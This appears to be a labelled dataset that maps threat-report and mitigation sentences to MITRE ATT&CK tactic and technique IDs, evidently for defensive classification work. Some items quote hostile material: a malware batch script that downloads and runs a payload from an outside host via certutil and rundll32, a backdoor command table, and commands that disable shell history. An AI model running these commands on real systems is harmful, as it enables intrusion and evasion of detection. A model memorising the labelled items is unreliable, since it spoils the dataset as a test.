madox81/Adema_ATTACK_DS huggingface dataset:
Input: Monitor for API calls (such as GetAdaptersInfo() and GetIpNetTable()) that may gather details about the network configuration and settings, such as IP and/or MAC addresses.

Tactics: TA0007
Techniques: T1016
Input: To create the scheduled task, the PowerShell payload starts by writing the following to a VBScript file with the same name as the task name  (ex

Tactics: TA0002, TA0003, TA0004, TA0005
Techniques: T1053.005, T1053, T1036
Input: Gamaredon Group macros can scan for Microsoft Word and Excel files to inject with additional malicious macros.

Tactics: TA0007
Techniques: T1083
Input: The attack involved the new HAWKBALL backdoor being delivered via well-known Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802.

Tactics: TA0002
Techniques: T1203
Input: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.010, T1546.011
Input: Bundlore can change browser security settings to enable extensions to be installed.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: QakBot can use net config workstation, arp -a, and ipconfig /all to gather network configuration information.

Tactics: TA0007
Techniques: T1016
Input: Map the trusts within existing domains/forests and keep trust relationships to a minimum.

Tactics: TA0007
Techniques: T1482
Input: Ke3chang uses command-line interaction to search files and directories.

Tactics: TA0007
Techniques: T1083
Input: Adversaries may use port knocking to hide open ports used for persistence or command and control.

Tactics: TA0003, TA0005, TA0011
Techniques: T1205, T1205.001
Input: Machete's collected data is encrypted with AES before exfiltration.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: Patchwork copied all targeted files to a directory called index that was eventually uploaded to the C&C server.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: Command IDDescription     0Uninstall Keydnap and quit   1Update the backdoor from a base64-encoded file   2Update the backdoor given a URL   3Decode and execute a base64-encoded file   4Decode and execute a base64-encoded Python script   5Download and execute a file from a URL   6Download and execute a Python script from a URL   7Execute a command and report the output back to the C&C server   8Request administrator privileges the next time the user runs an application   9Decode and execute, or stop, a base64-encoded file calledauthd_service    The last two commands stand out

Tactics: TA0002, TA0005, TA0011
Techniques: T1140, T1569.002, T1132, T1569
Input: Cobalt Strike can use process hollowing for execution.

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: PowerDuke has commands to get information about the victim's name, build, version, serial number, and memory usage.

Tactics: TA0007
Techniques: T1082
Input: down_new has the ability to base64 encode C2 communications.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: REvil can obtain the token from the user that launched the explorer.exe process to avoid affecting the desktop of the SYSTEM user.

Tactics: TA0004, TA0005
Techniques: T1134, T1134.001
Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.

Tactics: TA0005
Techniques: T1564
Input: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts.

Tactics: TA0011
Techniques: T1001, T1001.003
Input: Industroyer can use an arbitrary system service to load at system boot for persistence and replaces the ImagePath registry value of a Windows service with a new backdoor binary.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: USBStealer registers itself under a Registry Run key with the name "USB Disk Security."

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

Tactics: TA0003, TA0004
Techniques: T1546.013, T1546
Input: Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house.

Tactics: TA0042
Techniques: T1587
Input: Adversaries may try to dump Exchange address lists such as global address lists (GALs).

Tactics: TA0007
Techniques: T1087.003, T1087
Input: Leviathan has sent spearphishing email links attempting to get a user to click.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: Consider monitoring for domains created with a similar structure to your own, including under a different TLD.

Tactics: TA0042
Techniques: T1583.001, T1583
Input: LiteDuke has been packed with multiple layers of encryption.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Chimera has collected documents from the victim's SharePoint.

Tactics: TA0009
Techniques: T1213, T1213.002
Input: RTM has used a modified version of TeamViewer and Remote Utilities for remote access.

Tactics: TA0011
Techniques: T1219
Input: Bundlore can download and execute new versions of itself.

Tactics: TA0011
Techniques: T1105
Input: Monitor for newly constructed user accounts that may attempt to hide artifacts associated with their behaviors to evade detection.

Tactics: TA0005
Techniques: T1564
Input: ServHelper will attempt to enumerate the username of the victim.

Tactics: TA0007
Techniques: T1033
Input: The decoy file, doc.rtf, contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP%

Tactics: TA0002
Techniques: T1559, T1559.002
Input: Metamorfo has used VBS code on victims’ systems.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: ZIRCONIUM has used a tool to steal credentials from installed web browsers including Microsoft Internet Explorer and Google Chrome.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Enable Windows Group Policy "Do Not Allow Anonymous Enumeration of SAM Accounts and Shares" security setting to limit users who can enumerate network shares.

Tactics: TA0007
Techniques: T1135
Input: Two modifications are made to UPX version 3.91:  The magic bytes UPX! in the UPX header are replaced with ASS7, The decompressed code and strings sections are XORed with 0x01

Tactics: TA0005
Techniques: T1027.002, T1027
Input: cmd can be used to copy files to/from a remotely connected internal system.

Tactics: TA0008
Techniques: T1570
Input: Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content.

Tactics: TA0042
Techniques: T1608.001, T1608
Input: Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target.

Tactics: TA0040
Techniques: T1498, T1498.002
Input: In this particular instance, the following script is retrieved:@echo off  :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS)  :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST  :64BITOS :certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul :certutil -d^ecode -f setup2.txt setup.cab > nul :del /f /q setup2.txt > nul :GOTO ISEXIST  :ISEXIST  if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT)  :EXECUTE ver | findstr /i "10\." > nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS)  :WIN10 expand %TEMP%\setup.cab -F:* %CD% > nul :if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\drv.dll EntryPoint) %TEMP%\install.bat GOTO EXIT  :OTHEROS wusa %TEMP%\setup.cab /quiet /extract:%TEMP% > nul %TEMP%\install.bat GOTO EXIT  :EXIT del /f /q setup.cab > nul del /f /q %~dpnx0 > nulThis script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable

Tactics: TA0005, TA0011
Techniques: T1218, T1071, T1218.011
Input: Consider unregistering container file extensions in Windows File Explorer.

Tactics: TA0005
Techniques: T1553, T1553.005
Input: InvisiMole uses HTTP for C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: APT33 has used a variety of publicly available tools like LaZagne to gather credentials.

Tactics: TA0006
Techniques: T1552.001, T1552, T1003, T1003.004, T1555.003, T1555, T1003.005
Input: Monitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting.

Tactics: TA0042
Techniques: T1584.002, T1584
Input: Cuba has the ability to encrypt system data and add the ".cuba" extension to encrypted files.

Tactics: TA0040
Techniques: T1486
Input: LiteDuke has the ability to decrypt and decode multiple layers of obfuscation.

Tactics: TA0005
Techniques: T1140
Input: The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent.  The following commands were observed:  tasklist ipconfig /all  The attacker performed these two commands 33 seconds apart

Tactics: TA0002, TA0011
Techniques: T1573, T1059
Input: Kimsuky has used Google Chrome browser extensions to infect victims and to steal passwords and cookies.

Tactics: TA0003
Techniques: T1176
Input: Silence has used compromised credentials to log on to other systems and escalate privileges.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078
Input: Honeybee performs data exfiltration is accomplished through the following command-line command: from  (- --).txt.

Tactics: TA0010
Techniques: T1020
Input: menuPass has used process hollowing in iexplore.exe to load the RedLeaves implant.

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: APT38 has created new services or modified existing ones to run executables, commands, or scripts.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Kimsuky has compromised email accounts to send spearphishing e-mails.

Tactics: TA0042
Techniques: T1586.002, T1586
Input: APT29 has set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment.

Tactics: TA0005
Techniques: T1036
Input: However, rather than providing high-level guidance on this, be extremely specific—include a list of per-approved applications and deny all others not on the list.

Tactics: TA0005, TA0008
Techniques: T1550.001, T1550
Input: Rifdoor has encrypted command and control (C2) communications with a stream cipher.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: SideTwist has used Base64 for encoded C2 traffic.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Figure 19. Scrambling ‘Mac OSX 10.12’  Encryption  The scrambled byte sequence is passed onto the constructor of the class Packet::Packet, which creates a random AES256 key and encrypts the buffer with this key

Tactics: TA0011
Techniques: T1573
Input: Peirates can use stolen service account tokens to perform its operations.

Tactics: TA0001, TA0003, TA0004, TA0005, TA0008
Techniques: T1078.004, T1078, T1550.001, T1550
Input: RunningRAT contains code to delete files from the victim’s machine.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: JSS Loader has the ability to launch scheduled tasks to establish persistence.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token.

Tactics: TA0001
Techniques: T1189
Input: Sharpshooter has leveraged embedded shellcode to inject a downloader into the memory of Word.

Tactics: TA0004, TA0005
Techniques: T1055
Input: Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.

Tactics: TA0040
Techniques: T1499, T1499.004
Input: Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack.

Tactics: TA0040
Techniques: T1499, T1499.004
Input: Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.

Tactics: TA0042
Techniques: T1584, T1584.005
Input: SQLRat can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.

Tactics: TA0011
Techniques: T1105
Input: FruitFly looks for specific files and file types.

Tactics: TA0007
Techniques: T1083
Input: A Patchwork payload has searched all fixed drives on the victim for files matching a specified list of extensions.

Tactics: TA0007
Techniques: T1083
Input: POWERSTATS encoded C2 traffic with base64.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Enable CryptoAPI v2 (CAPI) event logging  to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations).

Tactics: TA0005
Techniques: T1553, T1553.003
Input: BRONZE BUTLER has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Cobian RAT uses DNS for C2.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Honeybee embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.

Tactics: TA0007
Techniques: T1007
Input: A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender.

Tactics: TA0003
Techniques: T1137, T1137.005
Input: Monitor the LSA process for DLL loads.

Tactics: TA0003, TA0004
Techniques: T1547.002, T1547.005, T1547
Input: QuasarRAT can launch a remote shell to execute commands on the victim’s machine.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: The cron utility is a time-based job scheduler for Unix-like operating systems.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053, T1053.003
Input: Turla RPC backdoors have also searched for files matching the lPH*.dll pattern.

Tactics: TA0007
Techniques: T1083
Input: Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions.

Tactics: TA0007
Techniques: T1614, T1614.001
Input: Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: The example C2s used by older variants of Comnie demonstrates this:  Figure 9 Old Comnie variants collecting C2 information Please refer to the Appendix for a script that may be used to decode C2 information from the older Comnie variants

Tactics: TA0011
Techniques: T1071
Input: Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment ( Lateral Tool Transfer).

Tactics: TA0011
Techniques: T1105
Input: Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns ( monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Tactics: TA0043, TA0042, TA0001, TA0003, TA0005, TA0006, TA0007, TA0008, TA0011, TA0010, TA0040
Techniques: T1599, T1505.003, T1499.002, T1219, T1599.001, T1041, T1070, T1499, T1003.006, T1572, T1598.001, T1030, T1586.001, T1033, T1003, T1563.002, T1568, T1499.003, T1102.001, T1102.002, T1491.001, T1598.002, T1071.002, T1048.002, T1573, T1071.004, T1071, T1048.003, T1011.001, T1563, T1090.001, T1090.003, T1566.003, T1048, T1566, T1585, T1491.002, T1566.002, T1071.003, T1595, T1102.003, T1585.001, T1499.001, T1566.001, T1567.001, T1563.001, T1090.004, T1491, T1505, T1001.001, T1598, T1568.003, T1001, T1534, T1567.002, T1090, T1090.002, T1567, T1011, T1095, T1598.003, T1071.001, T1102, T1573.001, T1001.003, T1586, T1048.001, T1573.002, T1499.004, T1595.002, T1615, T1221
Input: A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.

Tactics: TA0003, TA0004
Techniques: T1037, T1037.005
Input: FIN8 has used a Batch file to automate frequently executed post compromise cleanup activities.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:set +o history and set -o history to start logging again;unset HISTFILE being added to a user's .bash_rc file; andln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.

Tactics: TA0006
Techniques: T1552.003, T1552
Input: Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1.

Tactics: TA0005
Techniques: T1564.002, T1564
Input: KillDisk has used the FindNextFile command as part of its file deletion process.

Tactics: TA0007
Techniques: T1083
Input: SMOKEDHAM has used a fronted domain to obfuscate its hard-coded C2 server domain.

Tactics: TA0011
Techniques: T1090.004, T1090
Input: Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness.

Tactics: TA0040
Techniques: T1499.002, T1499, T1499.003, T1499.001, T1499.004
Input: Monitor for newly constructed processes and/or command-lines for applications that may be used by an adversary to gain initial access that require user interaction.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Lokibot has the ability to discover the domain name of the infected host.

Tactics: TA0007
Techniques: T1016
Input: GrimAgent can delete old binaries on a compromised host.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Windows Management Instrumentation WMI is an administrative framework that is built into every version of Windows since 2000

Tactics: TA0002
Techniques: T1047
Input: MegaCortex can wipe deleted data from all drives using cipher.exe.

Tactics: TA0040
Techniques: T1561.001, T1561
Input: Monitor for changes made to files that may modify or add LSASS drivers to obtain persistence on compromised systems.

Tactics: TA0003, TA0004
Techniques: T1547.008, T1547
Input: A system info module in CozyCar gathers information on the victim host’s configuration.

Tactics: TA0007
Techniques: T1082
Input: Aria-body has the ability to duplicate a token from ntprint.exe.

Tactics: TA0004, TA0005
Techniques: T1134, T1134.001
Input: Out1 can use native command line for execution.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: APT19 attempted to get users to launch malicious attachments delivered via spearphishing emails.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: APT41 has used DGAs to change their C2 servers monthly.

Tactics: TA0011
Techniques: T1568, T1568.002
Input: PowerSploit's Get-ProcessTokenPrivilege Privesc-PowerUp module can enumerate privileges for a given process.

Tactics: TA0007
Techniques: T1057
Input: KOCTOPUS has executed a PowerShell command to download a file to the system.

Tactics: TA0011
Techniques: T1105
Input: (Source: Dell SecureWorks)  ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system

Tactics: TA0002, TA0003
Techniques: T1505.003, T1505, T1059
Input: Sandworm Team has used move to transfer files to a network share.

Tactics: TA0008
Techniques: T1570
Input: Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code.

Tactics: TA0005
Techniques: T1221
Input: Sandworm Team has also used ROT13 encoding, AES encryption and compression with the zlib library for their Python-based backdoor.

Tactics: TA0005
Techniques: T1027
Input: xCaon has added persistence via the Registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load which causes the malware to run each time any user logs in.

Tactics: TA0003, TA0004
Techniques: T1547
Input: Monitor for changes that may reveal indicators of malicious firmware such as strings.

Tactics: TA0003, TA0005
Techniques: T1542.002, T1542
Input: BloodHound can collect password policy information on the target environment.

Tactics: TA0007
Techniques: T1201
Input: OilRig has used a CHM payload to load and execute another malicious file once delivered to a victim.

Tactics: TA0005
Techniques: T1218, T1218.001
Input: MechaFlounder has the ability to run commands on a compromised host.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Avaddon has used encrypted strings.

Tactics: TA0005
Techniques: T1027
Input: The client broadcasts a DISCOVER message.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.003
Input: The PEB includes the process command-line arguments that are referenced when executing the process.

Tactics: TA0005
Techniques: T1564.010, T1564
Input: Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features.

Tactics: TA0040
Techniques: T1490
Input: Multiple ways of delivering exploit code to a browser exist, including:

Tactics: TA0001
Techniques: T1189
Input: TeamTNT has searched for unsecured SSH keys.

Tactics: TA0006
Techniques: T1552.004, T1552
Input: The TAINTEDSCRIBE main executable has disguised itself as Microsoft’s Narrator.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Flagpro has been used to run the whoami command on the system.

Tactics: TA0007
Techniques: T1033
Input: InvisiMole can use a JavaScript file as part of its execution chain.

Tactics: TA0002
Techniques: T1059.007, T1059
Input: ADVSTORESHELL can perform keylogging.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Matryoshka is capable of keylogging.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Higaisa used Base64 encoded compressed payloads.

Tactics: TA0005
Techniques: T1027
Input: Many libraries exist that can archive data, including Python rarfile , libzip , and zlib .

Tactics: TA0009
Techniques: T1560.002, T1560
Input: Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.

Tactics: TA0005
Techniques: T1220
Input: Monitor file access on removable media that may attempt to exfiltrate data over a USB connected physical device.

Tactics: TA0010
Techniques: T1052, T1052.001
Input: The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.

Tactics: TA0005, TA0008
Techniques: T1550.003, T1550
Input: The Downloader After the exploit or script executes, the system downloads install.exe, which has the following metadata: MD5             5a0c4e1925c76a959ab0588f683ab437 Size            46592 bytes Compile Time    2014-11-19 08:55:10Z Import Hash     6b8611f8148a6b51e37fd68e75b6a81c The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path “C:\Users\Public”, which fails on Windows XP because that path is not present by default

Tactics: TA0005
Techniques: T1036
Input: ShimRat has used a secondary C2 location if the first was unavailable.

Tactics: TA0011
Techniques: T1008
Input: FatDuke has used several C2 servers per targeted organization.

Tactics: TA0011
Techniques: T1008